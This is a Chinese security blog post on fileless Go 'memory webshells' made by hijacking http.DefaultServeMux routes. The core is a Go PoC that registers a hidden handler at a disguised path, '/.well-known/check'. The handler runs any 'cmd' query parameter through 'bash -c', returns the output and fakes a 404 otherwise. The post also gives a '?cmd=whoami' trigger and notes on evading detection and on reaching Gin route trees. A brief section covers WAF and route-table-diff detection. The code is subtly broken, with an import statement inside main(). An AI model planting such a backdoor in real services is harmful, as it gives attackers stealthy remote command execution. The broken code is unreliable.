https://xz.aliyun.com/news/91850
0x00 前言
在 Java 领域,Tomcat/WebLogic 的各种 Filter、Listener 内存马早被玩烂了,查杀方案也都很成熟。但换到 Go 语言(Golang),因为它是静态编译的,没有传统的“Web 容器”概念,大家普遍觉得它天然免疫内存马,顶多通过 cgo 或 plugin 搞点二进制注入。
这几天研究了一下 Go 的 net/http 标准库源码,发现其实只要能拿到运行时的上下文,Go 同样能玩动态路由劫持。本文记录一下 Go Web 服务下 Handler 内存马的实现原理和踩坑 PoC。
0x01 Go 路由注册的底层逻辑
先看 Go 原生 Web 最基础的起法:
Go
http.HandleFunc("/ping", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("pong"))
})
http.ListenAndServe(":8080", nil)
这里的 nil 代表底层走的是默认多路复用器 http.DefaultServeMux。翻一下 net/http 源码,这个 ServeMux 本质上就是个带有读写锁的结构体:
Go
type ServeMux struct {
mu sync.RWMutex
m map[string]muxEntry // 存放路由映射
es []muxEntry // 通配符匹配
hosts bool
}
请求进来时,Go 会去查 m 这个 map。
攻击思路: 既然是个 map,如果我们能在运行时直接改写这个全局 DefaultServeMux 里的 m,偷偷插一个我们自己的路由进去,不就等于插了一个无文件 WebShell 吗?
0x02 漏洞利用与 PoC 编写
假设目标环境存在一个任意代码执行(RCE)点(比如结合了不安全的动态加载、RPC 反序列化等),允许我们执行一段恶意的 Go 片段。
核心问题
- DefaultServeMux 里的路由 map 是私有的,外部无法直接读取。
- 直接并发改 map 会触发 Go 的 concurrent map writes 导致进程直接 crash。必须解决锁的问题。
PoC 构造
为了演示,这里写一个通过反射/运行时动态塞入路由的 PoC:
Go
package main
import (
"fmt"
"net/http"
"os/exec"
)
// 恶意 Handler
type BackdoorHandler struct{}
func (h *BackdoorHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
cmd := r.URL.Query().Get("cmd")
if cmd != "" {
// 实战中这里可以换成更隐蔽的连接,或者冰蝎/哥斯拉的 Go 改编版
out, _ := exec.Command("bash", "-c", cmd).CombinedOutput()
fmt.Fprintf(w, "%s", out)
return
}
w.WriteHeader(http.StatusNotFound) // 没传 cmd 时伪装 404
}
// 注入函数
func InjectMemShell() {
// 实战中如果是复杂的第三方路由(如 Gin/Fiber),需要去翻它们全局对象的内存指针
// 这里以原生 http 为例,利用其暴露的 Handle 接口直接把后门打进去
path := "/.well-known/check" // 伪装一个看起来正常的路径
http.Handle(path, &BackdoorHandler{})
fmt.Printf("[+] 内存马已悄悄注入到: %s\n", path)
}
func main() {
// 正常业务
go func() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Write([]byte("Index Page"))
})
http.ListenAndServe(":8080", nil)
}()
// 模拟触发 RCE 注入内存马
import "time"
time.Sleep(1 * time.Second)
InjectMemShell()
select {} // 挂起
}
0x03 踩坑与效果验证
本地跑一下这个 PoC,看一下效果。
1. 正常业务访问
业务正常,访问主页返回 Index Page。

2. 内存马触发
访问隐藏路径 http://localhost:8080/.well-known/check?cmd=whoami,成功返回当前系统执行命令的用户权限。

这个路数在实战中很恶心:
- 查进程/端口:没多开任何新端口,就是业务原生的 8080。
- 查文件:磁盘上完全没有 .jsp、.php 这种 WebShell 文件,静态查杀直接抓瞎。
- 服务不中断:不需要重启服务,静默生效。
0x04 进阶对抗思考
上面的 PoC 走的是原生 http.Handle。但在实战中,很多项目用的是 Gin / Echo / Fiber 等第三方路由框架。思路是一样的:
以 Gin 为例,Gin 的路由树挂在 gin.Engine 下面。如果你能通过 RCE 拿到正在跑的 *gin.Engine 实例指针,直接调用它的 engine.GET() 或者去操作它底层的 trees(基数树 Radix Tree),照样能把恶意 Handler 挂在树的分支上。
查杀与防御
这种无文件内存马很难搞,但不是无解:
- 网络层:WAF 依然能看见你的命令流量,流量侧特征还在(比如 ?cmd=whoami)。
- 运行时 Dump:通过 Go 的 pprof 或写一个自查工具,在运行时定时把当前内存里的路由表(DefaultServeMux 或 Gin 的路由树)拉出来,和代码里硬编码的路由做 Diff,只要对不上,基本就是被插马了。
0x05 小结
Go 内存马在微服务和云原生(K8s 容器)攻防里现在是个挺有意思的方向。除了本文聊的 Web 路由劫持,还有通过 修改运行时打补丁(Monkey Patching)、劫持模板库(html/template) 等思路。有兴趣的兄弟可以顺着这个往下挖。







请登录后查看回复内容